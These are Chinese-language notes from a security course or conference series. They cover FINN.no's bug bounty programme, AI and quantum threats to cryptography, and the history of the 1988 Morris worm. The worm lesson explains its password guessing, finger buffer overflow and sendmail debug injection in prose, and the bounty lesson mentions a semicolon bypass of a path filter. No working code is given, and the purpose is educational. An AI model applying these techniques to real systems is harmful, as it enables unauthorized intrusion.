一个常见问题是支付多少赏金。FINN.no根据漏洞的严重性和业务影响支付。对于市场而言,防止欺诈至关重要,因此泄露用户邮箱、电话号码或导致账户接管等漏洞都被视为严重。赏金起价为100美元,最高6000美元。虽然这在挪威语境下看似不少,但与大型科技公司数十万美元的最高赏金相比仍属较低。过去5-6年,他们总共支付了约20万美元,中位赏金在200-400美元之间。

既然无法在赏金金额上与巨头竞争,他们就在其他方面竞争。核心原则是:友善且高效

以下是他们吸引和激励研究员的关键做法:

  • 友善与尊重:在沟通中保持友好和尊重。
  • 宽松的范围界定:如果提交的漏洞不在明确范围内但具有实际影响,他们会接受并将其加入范围。这与某些直接修复却不支付赏金的项目形成对比。
  • 协作确定影响:与研究员合作确定漏洞的最大影响,而非一味试图降低其严重性。他们经常因此提高赏金金额。
  • 快速的响应时间:这是最有效的策略之一。当研究员在提交报告后几小时内就得到回复,他们会非常满意并更有动力继续测试。FINN.no曾是该平台上响应速度最快的项目之一。

快速的响应带来了积极循环。一位研究员因得到及时回复而备受鼓舞,成为了该年度为FINN.no提交有效漏洞最多的研究员,赚取了丰厚赏金,公司也获得了许多高质量的漏洞。

漏洞赏金计划的实际影响与数据

上一节我们介绍了成功运行计划的要点,本节中我们通过具体数据来看看其实际效果。

启动赏金计划后,漏洞发现速度大幅提升。例如,一个关于Spring Boot Actuator端点(可导致账户接管)的严重漏洞在某个周六晚上被报告。安全团队迅速验证,并幸运地联系到一位已订阅平台通知的首席工程师。该工程师在漏洞被验证的同时就部署了修复,几乎形成了一场“竞速赛”。漏洞在几小时内就被关闭,研究员也非常满意。

从年度数据来看,提交量呈过山车式变化。第一年非常繁忙,但并非所有报告都有效。随着时间的推移,有效报告的比例保持较高且稳定。在资金方面,第一年花费约1.5万美元发现了24个有效漏洞,这比一次应用渗透测试便宜,但发现的漏洞却多得多,性价比极高。

关于报告类型,除了被接受的漏洞,也会收到因无影响或公司决定不修复等原因不被接受的报告。这部分比例一直较低。2024年,为了提升沉寂项目的活跃度,他们开始每周随机邀请100名研究员,这虽然增加了报告数量,但也降低了平均报告质量,使其更接近公开项目的水平。

运行私有项目有助于维持质量,但邀请随机研究员会引入低质量报告。处理这些报告并不总是费时,有时甚至有趣。例如,有研究员提交了通过浏览器控制台执行XSS的“漏洞”,这更像是“自我XSS”。对于此类报告,他们会礼貌拒绝。

偶尔也会遇到不愉快的交互。例如,有研究员提交了三个明显是垃圾信息的高危报告,导致平台因赏金池耗尽而自动暂停项目。在周六处理时,安全团队发现这些报告涉及一些早已不存在的旧域名,毫无影响。在将其关闭为“不适用”后,研究员威胁要在Twitter上公开质疑。为了避免在周末陷入网络争论,团队最终将其关闭为“不接受”。这类极端情况仅发生过一次。

赏金计划带来的额外收益与战略洞察

漏洞赏金计划的影响远不止直接发现漏洞。它显著缩短了漏洞的平均暴露时间,从过去的近三年降至几周或几个月。同时,发现漏洞的总数在下降,这可能是因为项目对研究员吸引力下降,但也可能意味着平台本身变得更“坚固”。

一个有趣的发现是:在收到的360份有效报告中,只有2个是由可被利用的开源依赖漏洞引起的。这表明,过分追求“零可被利用依赖”可能不如专注于修复自身代码中的漏洞来得实际。当然,管理依赖风险仍是最佳实践,但资源分配需要权衡。

该计划还成为了FINN.no应用安全计划的关键组成部分。当所有开发者都能访问赏金平台并跟踪报告时,安全漏洞意识得到了前所未有的提升。这些真实的漏洞数据也被用来指导安全工作的优先级。例如,他们有很多XSS漏洞需要修复,但自2014年以来就再未发现过SQL注入。因此,他们无需对开发者进行大量的SQL注入培训。这主要归功于他们使用的主流JVM语言框架多年来采用了安全默认配置,例如数据库库会自动编码输入,开发者无需手动处理,从而从根本上消除了这类漏洞类别。

他们还将漏洞数据“武器化”,用于创建内部CTF挑战。这些基于真实赏金漏洞的挑战极大地提升了开发者的参与度和安全意识。

漏洞赏金与其他安全工具的对比

尽管漏洞赏金计划是FINN.no最具成本效益的活动,他们仍然同时使用代码扫描、动态扫描等其他工具。原因是不同工具发现不同类型的漏洞,重叠有限,共同使用能提供更好的安全保证。

一个关键数据是:自2019年以来,赏金计划发现的20个严重漏洞中,只有5个可能通过代码扫描发现。这意味着,即使代码扫描达到100%覆盖率,也会错过另外15个严重漏洞。而当两者结合时,才能发现更多的漏洞。

我们来做一个不那么公平但有趣的“苹果与橘子”的对比:

  • 代码扫描(如CodeQL):需要构建应用,集成到CI/CD中,可能破坏构建,耗费大量工程精力。产生的发现缺乏上下文,可能是技术正确但不可利用的噪音,成本高,且不保证发现所有问题。
  • 漏洞赏金计划:范围明确,黑客无处不在。能获得大量真实、可被利用的发现。开发者只与这些真实发现交互,因此对其信任度更高。

传统的建议是,在启动赏金计划前,应先做好威胁建模、代码扫描、动态扫描等所有基础工作。但对于大型组织,这可能需要数年时间。Emil的“辛辣”建议是:不要等待。直接启动一个私有赏金计划,立即开始真正的风险降低。唯一的要求是能够接收报告,并能在合理时间内修复漏洞,避免被重复报告淹没。效果会立竿见影。

另一个对比是 security.txt 文件与漏洞赏金计划。security.txt 是一个告知研究人员如何报告漏洞的文本文件。多年来,FINN.no通过它收到的有效报告极少,大多是垃圾邮件。相比之下,赏金计划带来了大量报告。有趣的是,Emil甚至通过LinkedIn收到的真实漏洞报告都比通过 security.txt 多。核心观点是:达到一定规模的公司都应该有一个漏洞赏金计划,因为这才是当今真实漏洞流向的地方。仅仅拥有 security.txt 是远远不够的。

如何启动你自己的漏洞赏金计划

现在,我们来谈谈如何启动一个漏洞赏金计划。这其实很简单:

  1. 准备预算:获取一些资金。
  2. 选择平台:测试不同的平台,看功能是否合适。平台可能会推销托管分类服务,但如果购买,响应速度可能会变慢。建议自行处理,以保持黑客的积极性。
  3. 设定赏金:根据业务影响设定赏金级别。可以参考其他项目的标准进行对齐。
  4. 界定范围:从小范围开始,随着项目成熟再逐步扩大。
  5. 前期测试(可选):有些人建议在启动前先做渗透测试。FINN.no做了三次,但在赏金计划启动后的第一年,仍然发现了117个新漏洞。两者都做当然更好。
  6. 结合自动化扫描:进行24/7扫描以捕获低悬果实,并用于对比不同安全工具的效果。
  7. 内部沟通与推广:告知整个组织,处理可能的扫描噪音,向开发者开放平台访问权限,从而免费构建安全文化。

平台选择的关键要素与报告披露的价值

选择一个合适的平台至关重要,以下是一些“必备”功能:

  • 与SSO集成:便于无缝管理开发者访问权限,避免手动操作的麻烦。
  • 良好的API:易于使用,没有繁琐的速率限制或认证方法。需要能够导入报告(例如,将从其他工具发现的漏洞导入,避免重复),并能够导出数据用于自定义分析。
  • 自动化潜力:例如,可以根据Kubernetes标签自动将报告分配给正确的团队。
  • 报告披露功能:允许在内部或公开披露已修复的报告。这对于知识共享、建立社区、展示公平性(例如,对同类漏洞支付相同赏金)非常有价值。最大的影响在于绕过测试:研究员会查看已披露的旧报告,并尝试绕过修复措施。

FINN.no有一个关于正则表达式(Regex)过滤的典型案例。他们使用Regex来阻止外部访问内部后端路径(如 /metrics, /health, /actuator)。在启动赏金计划7天后,他们就收到了第一个绕过报告(利用分号字符)。该报告被披露后,次年1月又收到了两个新的绕过报告,夏季再次收到一个。这个存在了3年的漏洞,历经多次代码扫描、动态扫描和渗透测试都未被发现,却在赏金计划启动7天后被发现,并在一年内被多次绕过,这充分展示了报告披露和众包测试的强大效果。

经验教训与总结

最后一个例子是关于依赖混淆攻击。在2021年该攻击被普及后,FINN.no的安全团队迅速在所有包管理系统中进行了缓解,并发布了一篇详细的博客文章,甚至开源了一个名为 artifactor 的工具。

然而,一年半后,他们仍然收到了一个关于NPM依赖混淆导致远程代码执行的报告。问题在于:他们虽然构建了检测工具,却忘记自动化运行它。更具讽刺意味的是,提交报告的研究员在报告中引用了他们自己发布的那篇博客文章作为修复参考。

这个教训是:有时写博客文章比创建工具更有效(如果工具不被使用的话)。当然,事后他们立即开始了该工具的24/7自动化运行。

本节课总结:

我们一起学习了FINN.no的“漏洞赏金效应”。该计划已被证明是他们最具性价比的安全活动,并成为应用安全计划的核心成分。他们仍然进行其他所有安全活动,以捕获长尾漏洞。但他们也相信,为不同漏洞类别推行安全默认配置,可能比试图到处推行代码扫描更有效,因为所需努力相似。

启动一个漏洞赏金计划相对容易且影响深远,每个大型公司都应该考虑拥有一个。在不支付顶级赏金的情况下取得成功的关键,就是 “保持友善,行动迅速”

017:AI与量子计算时代的网络安全

在本节课中,我们将探讨人工智能和量子计算对网络安全领域带来的深刻影响。我们将从AI在网络安全中的应用与挑战开始,然后深入了解量子计算的基本原理及其对加密技术的潜在威胁,最后展望未来并讨论如何做好准备。

AI在网络安全中的应用与挑战

上一节我们概述了课程内容,本节中我们来看看人工智能如何改变网络安全格局。AI的引入带来了自动化威胁检测、异常行为分析等能力,但也催生了新的攻击手段。

以下是AI为网络安全带来的主要益处:

  • 自动化威胁检测:利用机器学习模型实时监控海量网络流量,识别潜在威胁。
  • 异常检测与行为分析:通过分析用户和设备的行为模式,标记异常活动(例如,用户在非寻常时间或地点登录并访问非常规数据)。
  • 自动化事件响应:系统可以自动触发应对措施(如触发多因素认证或临时锁定账户),以快速遏制攻击,减少人为响应延迟。

然而,AI也存在“阴暗面”,被攻击者用于增强攻击能力。

以下是AI带来的主要安全挑战:

  • 自适应恶意软件:能够动态改变代码特征以逃避检测。
  • 高级钓鱼攻击:生成语法完美、针对性强的钓鱼邮件,甚至使用本地语言。
  • 合成媒体与深度伪造:伪造音频、视频进行诈骗、诽谤或散布虚假信息。数据显示,2019年至2023年间,深度伪造攻击年增长率高达900%。
  • 漏洞发现:利用AI自动化、大规模地扫描和发现软件漏洞。
  • 对抗性攻击:通过精心构造的输入欺骗AI模型,使其做出错误判断。
  • 数据隐私问题:AI训练需要大量数据,可能侵犯版权和用户隐私。

应对深度伪造与AI滥用的潜在方案

面对AI滥用的挑战,行业正在探索多种解决方案。

以下是当前主要的应对策略:

  • 数字签名与公钥基础设施:为原始内容(如相机拍摄的照片)添加数字签名,以验证其真实性和来源。
  • 基于AI的检测工具:开发工具来识别AI生成或篡改的内容。
  • 数字水印与内容凭证:在媒体内容中嵌入不可见标记,用于追踪和验证。

量子计算入门

上一节我们讨论了AI的双刃剑效应,本节中我们来看看另一个颠覆性技术——量子计算。理解其工作原理有助于我们认识其潜在的风险与机遇。

传统计算机使用比特(bit)作为信息基本单位,其值为 01。量子计算机使用量子比特(qubit),其核心特性如下:

  • 量子比特:基本信息单位。不同于经典比特,一个量子比特可以同时处于 01 的叠加态,其状态由概率幅描述。
  • 叠加:量子比特在未被测量时,可以同时是0和1,就像一枚旋转的硬币,在落地前同时具有正反两面的可能性。
  • 纠缠:两个或多个量子比特可以形成纠缠态,改变其中一个的状态会瞬间影响另一个,无论它们相距多远。
  • 量子门:用于操作量子比特状态的基本单元,类似于经典计算机中的逻辑门。
  • 退相干:量子系统与外部环境相互作用时会失去量子特性,这是构建稳定量子计算机的主要挑战之一。
  • 干涉:量子波函数可以像光波或声波一样相互叠加。当两个波的波峰对齐时,产生相长干涉(振幅增强);当一个波的波峰与另一个波的波谷对齐时,产生相消干涉(振幅抵消)。

量子比特的状态可以用布洛赫球面表示。球面上的点由两个角度定义:

  • θ角(纬度):决定量子比特处于 |0> 态或 |1> 态的概率。
  • φ角(经度):决定量子比特的相位,影响多个量子比特之间的干涉效应。

量子计算的应用与进展

理解了量子计算的基础,我们来看看它能做什么,以及目前的发展到了什么阶段。量子计算机特别擅长解决涉及大量变量相互作用的复杂优化问题。

以下是量子计算的主要应用领域:

  • 优化问题:例如物流路径规划、旅行商问题。
  • 药物发现:模拟分子间相互作用,加速新药研发。
  • 气候建模与金融分析:处理需要巨大算力的复杂系统模拟。

量子计算机的“算力”通常以量子比特数量衡量。近年来,量子比特数量增长迅速。例如,谷歌的Sycamore处理器曾用200秒完成了一项传统超计算机需1万年才能完成的任务。其新一代Willow处理器在错误纠正和相干时间上取得了更大突破。

量子计算对密码学的威胁

量子计算的强大算力对当前广泛使用的公钥密码体系构成了根本性威胁。这主要是因为某些量子算法能极快地解决特定数学难题。

两种关键的量子算法是:

  • 肖尔算法:能在多项式时间内破解基于大数分解(如RSA)或离散对数(如椭圆曲线加密)的密码体系。公式上,它将破解难度从指数级降至多项式级。
  • 格罗弗算法:能将无序数据库的搜索时间从 O(N) 加速到 O(√N)。这意味着为保持同等安全强度,对称加密的密钥长度需要加倍。

这就引出了“现在捕获,以后解密”的攻击模式:攻击者今天截获并存储加密数据,待未来量子计算机成熟后即可轻松解密。

后量子密码学与隐私增强技术

面对量子威胁,密码学界正在积极开发能够抵抗量子计算攻击的新算法,即后量子密码学。

美国国家标准与技术研究院主导了后量子密码标准化项目,已筛选出一些候选算法。同时,开源项目如 Open Quantum Safe 致力于将后量子算法集成到TLS、SSH等现有协议中。

除了强化加密算法,隐私增强技术也在保护数据隐私方面扮演重要角色。

以下是几种主要的PETs:

  • 同态加密:允许对加密数据直接进行计算,而无需解密。例如,Encrypt(x) + Encrypt(y) = Encrypt(x+y)。尽管计算开销大,但它能实现真正的“数据可用不可见”。
  • 安全多方计算:使多个参与方能够共同计算一个函数,同时保持各自输入的私密性。
  • 差分隐私:在发布数据集统计信息时,通过添加精心控制的噪声,保护个体记录不被识别。

这些技术可应用于联合欺诈检测、隐私保护数据分析和安全电子投票等场景。

未来路线图与总结

在本节课中,我们一起学习了AI和量子计算如何重塑网络安全。为了应对未来的挑战,组织和安全从业者可以考虑以下路线:

以下是关键的准备步骤:

  • 实施零信任架构:遵循“永不信任,始终验证”的原则,采用最小权限访问和假设已被入侵的心态。
  • 提升密码学敏捷性:确保系统能够快速更新和替换加密算法,为迁移到后量子密码学做好准备。
  • 投资AI驱动工具:利用AI增强威胁检测、响应和预测能力。
  • 探索量子安全解决方案:评估并试点后量子密码算法。
  • 了解隐私增强技术:在数据处理中应用PETs以保护用户隐私。

总而言之,AI和量子计算既带来了前所未有的机遇,也带来了严峻的挑战。主动了解这些技术,负责任地采纳其中有益的部分,并持续演进安全措施,是我们在这个新时代保障网络安全的必由之路。

019:第一只计算机蠕虫

在本节课中,我们将回顾互联网时代第一起重大的安全事件——莫里斯蠕虫。我们将了解它的诞生背景、技术原理、造成的巨大影响以及后续的法律与个人结局。通过这段历史,我们可以更好地理解网络安全的基本概念和其持久的重要性。

事件背景与序幕

上一节我们介绍了课程的主题。本节中,我们来看看莫里斯蠕虫事件发生的时代背景。

1988年11月2日深夜,一封来自NASA雇员P.E.的电子邮件写道:“我们目前正遭受攻击。”这场攻击始于傍晚6点,某种软件侵入了伯克利大学计算机实验室的电脑,而伯克利远非唯一的受害者。似乎每一所大学、大型公司,甚至NASA、NSA和美国国防部的计算机都成为目标。北美各地的计算机陷入瘫痪,常规的故障排除手段,如清除运行进程甚至重启计算机,都只能带来暂时的缓解。计算机不断地被重新感染。

技术社区很快意识到,这是一种能够在网络上快速自我复制和传播的软件。这是许多计算机用户第一次遭遇“计算机蠕虫”。更令人担忧的是,该蠕虫利用了目标计算机上多个不同系统的漏洞,甚至能够冒充用户并通过远程Shell传播自身。

那么,这究竟是一场什么性质的攻击?是来自苏联或其他美国敌对国家的网络攻击,还是来自美国内部的秘密行动?正如我们将要看到的,事实并非如此。它实际上是由康奈尔大学一名研究生编写的、约3000行存在些许缺陷的代码所导致的结果。

演讲者与黑客文化溯源

我是Håvard,目前是Kapa的一名软件开发人员。虽然安全并非我的日常主要工作,但我经常接触到相关内容。我对历史也很感兴趣,并与朋友共同制作了一个探讨我们领域历史事件的播客。

黑客和恶意软件文化几乎与计算机本身的历史一样悠久。早在1962年,当MIT安装了一台多用户计算机时,Alan Shaer就遇到了一个大问题:他必须与同事共享计算时间。为了获得更多时间,他经常篡改内核。当他的内核访问权限被撤销后,他想出了其他办法。当时,所有用户的密码都存储在一个人类用户无法访问的文件中。而这台计算机的一个功能是,为了避免浪费时间在计算机上阅读文件,用户可以要求将文件打印并送到办公室。打印机当然需要访问计算机上的所有文件。于是,Shaer简单地要求将密码文件打印出来送到他的办公室,并随后登录他人的账户,有时还会留下一些粗鲁的信息以示“到此一游”。

我们今天讨论的事件常被称为“伟大的蠕虫”,有时也被称作“第一只蠕虫”,但它实际上并非第一只。蠕虫是一种完全独立的恶意软件,而病毒则通过修改计算机上现有的软件或文件来工作。第一只蠕虫早在70年代就已出现,当时它们被称为“爬行者”,是一种在计算机间移动的软件,目的是“抓住蠕虫”。因此,第一批反病毒软件也随之诞生,常被称为“收割者”,用于追踪这些“爬行者”。在整个70年代和80年代,出现了许多病毒和恶意软件,但它们数量稀少,很少针对广大受众或对公众产生重大影响。直到1988年,恶意软件、蠕虫和病毒才真正进入大众的视野,因为互联网是使病毒和恶意软件受到重视所缺失的关键一环。

1988年的互联网环境

当时的互联网并非我们今天所熟知的样子。在美国、挪威和英国,计算机通过Arpanet连接。就我们的目的而言,我们可以将Arpanet视为今天的互联网——一个连接计算机、可以跨网络发送信息的系统。其最初目的是连接重要的国防设施,但研究人员很快看到了通用网络的用途。

互联网起初发展缓慢,但确实在稳步增长。美国的顶尖大学和研究机构迅速采用了这项技术并探索其潜力。当时的互联网几乎没有“大门”,一切都相互连接,人们似乎喜欢这种方式。这使得跨研究机构获取和更新彼此计算机上的数据变得容易,合作相当简单。这是一个相当紧密的社区,至少在初期是如此。然而到了1988年,网络已经变得相当庞大,人们开始难以把握其规模。

当时的安全观念可以引用一句话来概括:“保护计算机系统很容易。你只需断开所有拨号连接,只允许直接有线终端。将机器及其终端放在一个屏蔽房间里,并在门口安排警卫。”人们意识到了互联网连接的危险,但重点仍然放在计算机的物理安全上。互联网连接在当时更像是一种实用工具,而非基础设施的关键部分。

蠕虫的创造者:罗伯特·莫里斯

现在,让我们认识一下改变这一切的人。罗伯特·塔潘·莫里斯(朋友们称他为RTM)可能是70、80年代成长起来的人中,最深入浸润计算机文化尤其是网络安全的一位。罗伯特以他的父亲——老罗伯特·莫里斯命名。老莫里斯在数学方面获得荣誉,并在AT&T著名的研究机构贝尔实验室实习后,投身于计算机科学事业。他对密码学特别感兴趣,并开发了许多至今仍可识别的软件安全算法和模式。他是Unix早期版本的贡献者,例如/etc/passwd文件就是他的工作成果。后来,他成为了NSA的助理主任。

而他的儿子,小罗伯特·莫里斯,在书中被描述为神童。通过父亲在贝尔实验室的关系,他很小就接触了计算机。他轻松完成了基础教育,在哈佛获得学士学位后,几乎立即转到纽约州伊萨卡的康奈尔大学攻读研究生。正是在康奈尔,他开始了那项定义其短暂却引人注目经历的工作——蠕虫。

据估计,莫里斯用了大约一个月时间创建这个程序。在他发现康奈尔大学运行的计算机中存在某些安全漏洞后不久,他便开始了这项工作。整个程序编译后大约3200行代码。至于他创建蠕虫的动机,至今仍有争议。法庭上提供的理由包括:他想证明系统和互联网用户的行为有多么不安全,并认为发布一个概念验证是最好的方式;另一个更利他的理由是,他想测量互联网的规模,因为当时互联网已超出任何人的控制,无人确切知道其大小。然而,后者难以令人信服,因为蠕虫的感染率远未达到10%,且它只利用了互联网上特定类型操作系统的漏洞。更可能的原因,或许是出于“这样的软件能否被编写出来,尤其是我能否编写出来”的技术挑战与好奇心。

蠕虫的传播与应对

无论动机如何,蠕虫在傍晚6点左右从一台远程访问的哈佛大学计算机上被释放。他没有在康奈尔释放,而是黑进了自己在哈佛的旧账户并从那里释放。

根据Donn Seeley的论文《蠕虫之旅》,我们可以梳理出蠕虫传播的时间线:

  • 释放后24分钟,蠕虫抵达西海岸。
  • 40分钟后,伯克利大学被感染。
  • 晚上8点前,马里兰大学被击中。
  • 大约8点,MIT报告了首例感染。
  • 晚上8点半,伯克利的研究人员开始注意到计算机速度变慢,以及一些程序出现异常行为。
  • 晚上9点前,犹他大学被击中,首次sendmail攻击发生,计算机进程数达到上限。

犹他大学的系统管理员开始检测并尝试清除计算机上运行的蠕虫,但大约20分钟后证明这是徒劳的。晚上11点半,为NASA工作的Peter Yee发出了我们在开头看到的那条消息。当时,他和许多同事碰巧在伯克利参加一个会议,一个临时工作组迅速组建起来,开始剖析这只蠕虫。

他们发现,可以将蠕虫的能力分为如何攻击新计算机以及如何防御自身。在防御方面,其核心是尽量不被机器上的用户察觉。蠕虫试图尽可能少地占用机器资源,并且不破坏计算机或其上的文件。每只蠕虫占用的资源并不多,它还通过重命名进程和频繁更改ID来隐藏自己。然而,它最大的防御源于一个设计缺陷:一旦蠕虫感染计算机,它实际上会变成一个导致计算机完全无法使用的“分叉炸弹”。

蠕虫的运作机制

上一节我们看到了蠕虫的传播和初步分析。本节中,我们来深入看看它的具体运作机制。

为了解释蠕虫如何变成分叉炸弹,下图展示了蠕虫感染计算机后运行的一些检查流程:

一旦感染计算机,它会运行一个程序来检查计算机上是否有其他蠕虫。如果没找到其他蠕虫,它会继续感染过程。如果找到了其他蠕虫,它会以 1/7 的概率仍然允许该蠕虫运行。如果通过了这1/7的检查,它会继续感染;在 6/7 的情况下,它会失败并设置一个“请退出”标志,在一段时间后慢慢终止。

蠕虫能够传播并成为分叉炸弹的原因是,莫里斯没有预料到蠕虫的实际表现会如此之好,导致同一台计算机上遭受的攻击次数过多,使得 1/7 的存活概率远高于维持少量蠕虫在PC上运行所需的值。引入这个概率的原因未知,猜测可能是为了即使被人类发现,也能让蠕虫在机器上保持存活。

然而,最好的防御是进攻。蠕虫通过利用计算机上软件和用户行为中的多个不同漏洞来工作。

漏洞利用详解:密码破解与远程执行

让我们稍微看一下蠕虫的代码,以理解我的意思。

当蠕虫感染后,它首先会检查其他蠕虫。如果进入下一阶段,它会启动一个简单的密码破解算法。它会扫描计算机上的某些文件,寻找/etc/passwd文件、hosts文件、与其他计算机的连接,并开始寻找用户名和其他可用于辅助密码破解的信息。当时的安全实践非常差,人们经常使用用户名作为密码。蠕虫会尝试将用户名、用户名重复两次、用户名倒序等作为密码。这个破解算法会分几个阶段工作,每次找不到可用密码时就扩大搜索范围。这就是为什么它在主循环中被多次调用。


一旦找到任何密码,它会尝试使用这些信息,通过两种程序传播到其他计算机:

  1. 远程执行(rexec):通过简单的用户名-密码方案在另一台机器上执行命令。密码通常以明文形式存储在用户的.forwardhosts文件或/etc/passwd文件中,便于用户查找,但也容易被蠕虫获取。
  2. 远程Shell(rsh):甚至更不安全。它通过一个主机白名单方案工作,服务器维护一个可以访问它的白名单用户文件。如果蠕虫获取了这个文件,它就突然拥有了网络中许多用户的信息,可以更容易地传播到其他计算机。

漏洞利用详解:缓冲区溢出与Sendmail

莫里斯还发现了两个程序中的严重漏洞:fingersendmailfinger是一个用户信息查询程序,它简单地打印出计算机上用户的信息。finger守护进程的工作方式是:接收客户端的请求,将数据存储在一个512字节的缓冲区中,然后在服务器机器上本地运行finger,使用C语言中的gets()方法读取缓冲区,然后将从finger得到的响应发送回客户端。如果我们查看gets()的文档,会看到这样的警告:“gets()不检查边界”。这就引入了缓冲区溢出漏洞。

那么,如果你发送的不是512字节,而是536字节呢?那么,攻击就开始了。


蠕虫代码会分配一个536字节的缓冲区,发送到运行finger服务器实例的端口。前512字节基本上填充垃圾数据,最后24字节则填充这条命令:在目标机器上启动一个远程Shell。在缓冲区溢出攻击中,这会覆盖服务器机器上分配的内存。当gets()执行完毕后,它会继续沿栈向下执行,并命中这条命令,而不是之前在那里的任何代码。因此,现在不是正常执行finger的功能,而是打开了一个远程连接,获得了对服务器机器的完全访问权限。

蠕虫利用的最后一个漏洞存在于sendmail系统中。sendmail是一个与SMTP交互的程序。SMTP是一种有趣的基于动词的协议,用于发送电子邮件。它被称为简单邮件传输协议。协议中还有一个DEBUG动词可用,如果实现该协议的程序允许的话。对莫里斯来说幸运的是,当时非常流行的Unix BSD 4.2和4.3发行版中预装的sendmail是以DEBUG模式编译的。

这开启了一些有趣的行为。

由于某些原因,当sendmail以调试模式编译时,你可以在收件人字段发送命令,而不是收件人电子邮件地址。例如,你可以要求收件人打开一个新的命令解释器并运行某些内容。当然,这个“某些内容”就是作为电子邮件正文发送的、已编译的蠕虫版本。因此,蠕虫所做的就是将自己作为电子邮件发送给收件人,然后要求收件人立即执行邮件正文中的蠕虫。


事件的平息与影响

然而,人们很快发现了这些不同的漏洞。它们在蠕虫传播后的夜晚被不同的社区在不同时间发现。但由于许多人关闭了远程连接、基本处于离线状态且不接受任何呼叫,信息共享变得极其困难。电子邮件也基本无法使用。

幸运的是,就在蠕虫爆发时,伯克利的一个年度工作组会议即将开始。因此,大约40名系统管理员在事件发生时就在镇上。他们很快聚集起来,开始研究如何修复和发现所有不同的问题。MIT的一个工作组也迅速聚集起来,开始抵御蠕虫的所有不同技术攻击向量。

人们几乎从11月3日夜晚一直工作到第二天全天。大约一天后,足够多的人要么完全离线,要么留在线上的人发现了所有不同的补丁、修复了漏洞并修补了他们的系统。几天后,他们开始反编译源代码,得以展示、讨论并找出蠕虫的所有内部工作原理。

很难评估事件造成的实际损失。如前所述,蠕虫本身没有任何危害,但它确实造成了大量的时间损失。在某些地方,由于人们不想冒任何风险,甚至下令完全清除计算机内存,导致更多的时间损失,在某些情况下甚至导致数据丢失。但事实上,我们并不真正了解蠕虫的影响。美国审计总署估计损失在10万到1000万美元之间,这说明了当时大家有多么不确定。另一个有争议的数字是,大约有6000台计算机被感染,约占当时北美联网计算机的10%。

一个有趣的细节是,为什么它只影响了北美?因为当时连接欧洲和北美只有一根电缆。当你在挪威,深夜接到美国同事的电话警告你有病毒在传播时,你会做唯一明智的事情:拔掉插头。这正是Paul Spning在接到同事警告电话后所做的。蠕虫可能不会传播到挪威或英国,因为其代码中有防止进行所谓“异国连接”(例如尝试连接连接欧洲和北美的卫星)的部分。然而,如前所示,该软件也被证明存在缺陷。所以我们不知道,因此直接拔掉插头是稳妥的。而且,你什么时候能有这种机会呢?

其他媒体也注意到了所发生的事情。这实际上是主流出版物首次在领域期刊和研究论文之外,将这个计算机网络称为“互联网”。当《纽约时报》得知黑客的身份,并且他的父亲是NSA的助理主任时,这成了一个更加引人注目的新闻故事。《纽约时报》在逮捕莫里斯的过程中也发挥了重要作用,尽管无论如何他都会被抓住。莫里斯很快注意到了他所造成的破坏,并通过朋友试图联系、道歉甚至提供帮助。当然,这很困难,因为太多人已经离线。他的一位朋友认为联系报纸是明智之举,于是联系了《纽约时报》,却不小心说漏了嘴,透露用户名为RTM的人就是蠕虫的创造者。据说(但无法证实)调查人员随后可以通过finger查询发现哈佛和康奈尔系统上的RTM用户,从而将蠕虫的传播归咎于莫里斯。几天后,他被FBI带走。

法律后果与后续发展

在1988年,这实际上构成犯罪吗?这是前所未有的事件。那么,他是否做了违法的事?如果他在1986年之前传播蠕虫,他可能会逃脱惩罚。然而,当《计算机欺诈和滥用法案》(CFAA)于1986年写入法律后,个人在未经适当授权或超出授权范围的情况下故意访问受保护的计算机就变成了非法行为。

因此,这成了一场审判。莫里斯成为第一个根据CFAA被审判和定罪的人。在法庭文件中,你可以看到关于法律措辞的有趣讨论,特别是关于莫里斯是否真的“超出了他的授权”,因为他已被康奈尔大学授予互联网访问权限,当时网络上还没有真正建立授权层级。然而,法庭不同意这种辩护。但由于蠕虫相对无害,并且他可以通过代码证明其中没有恶意意图,只是导致其过度复制的错误,他仅被判处10,050美元罚款和400小时社区服务。他也被康奈尔大学开除(并非法院强制,但大学很难为当时世界上最臭名昭著的黑客提供互联网接入辩解)。

但生活还在继续,尽管有时需要隐姓埋名。莫里斯从事件中恢复过来,但试图保持低调。如前所述,他被康奈尔开除,但并未被禁止攻读计算机科学学位。在他的刑期和一小段缓刑结束后,他被他的母校哈佛大学重新录取,并在那里完成了博士学位。随后,他于1999年被MIT聘为助理教授,至今仍在MIT。你甚至可以在YouTube上找到他的一些讲座录像,尽管他从未提及蠕虫,他讲授的是分布式系统。

教学并非他唯一的成就。他与朋友(最著名的是Paul Graham)共同创立了一个成功的电子商务平台,名为Viaweb(因为它通过网络工作)。该平台在互联网泡沫前被雅虎收购并更名为Yahoo Stores。如果你感兴趣,这项服务至今仍然可用。他还资助了一个名为Y Combinator的初创企业孵化器。莫里斯和他的朋友们也是Lisp编程语言家族的坚定支持者,并构建了该语言的几种方言。作为概念验证,他们使用这种语言创建了一个名为Hacker News的新闻聚合网站。我想我最初正是在Hacker News上读到关于这次事件的报道的,形成了一个美妙的循环。

总结与启示

在本节课中,我们一起学习了互联网安全史上的一个里程碑事件——莫里斯蠕虫。我们回顾了其产生的背景、利用的多重技术漏洞(包括密码破解、缓冲区溢出和sendmail调试模式漏洞)、造成的广泛影响以及其创造者罗伯特·莫里斯的人生轨迹。

如果你从未从事过安全工作,可以从这个事件中获得很多启示。更有趣的或许是屏幕顶部的那个玩笑话:“当我研究发生在20、30、40、50年前的IT历史事件时,有一点反复出现:得到的教训并没有真正改变。”我认为,即使今天,我也可以冒充安全专家,向世界各地的大公司提出这些安全建议,而且不会偏离太远。人们往往会忘记,或者更糟糕的是,甚至没有出生在这些事件发生的年代。

这次事件发生在约37年前,而蠕虫利用的不同攻击向量至今仍然存在,人类的行为模式也没有根本改变。今天的互联网工作原理与1988年时仍然相似,只是规模更大,我们对连接在网上的其他人了解得更少。因此,在我们卷起袖子推出“互联网2.0”之前,恐怕我们不得不每天与所有这些威胁共存。不幸的是,没有什么是绝对安全的,重要的是不要忘记这一点。

我将用Y Combinator创始人页面上关于罗伯特·莫里斯的一句话作为结束:“1988年,他对缓冲区溢出的发现首次将互联网带入了公众的视野。

问与答

  • :关于《计算机欺诈和滥用法案》(CFAA),它是否是因为某起特定事件而颁布的?
  • :我很确定CFAA的颁布并非直接因为本案所涉及的原因。然而,我认为它是由于不同大学的入侵事件以及人们在未经适当授权的情况下访问计算机而催生的。该法律最初的措辞似乎并未预见到远程访问计算机的情况,因此法律条文非常侧重于对计算机的物理访问,而这正是当时大多数人主要关心的问题。

谢谢大家前来,希望能在会后派对上见到各位。😊

020:构建安全的系统集成

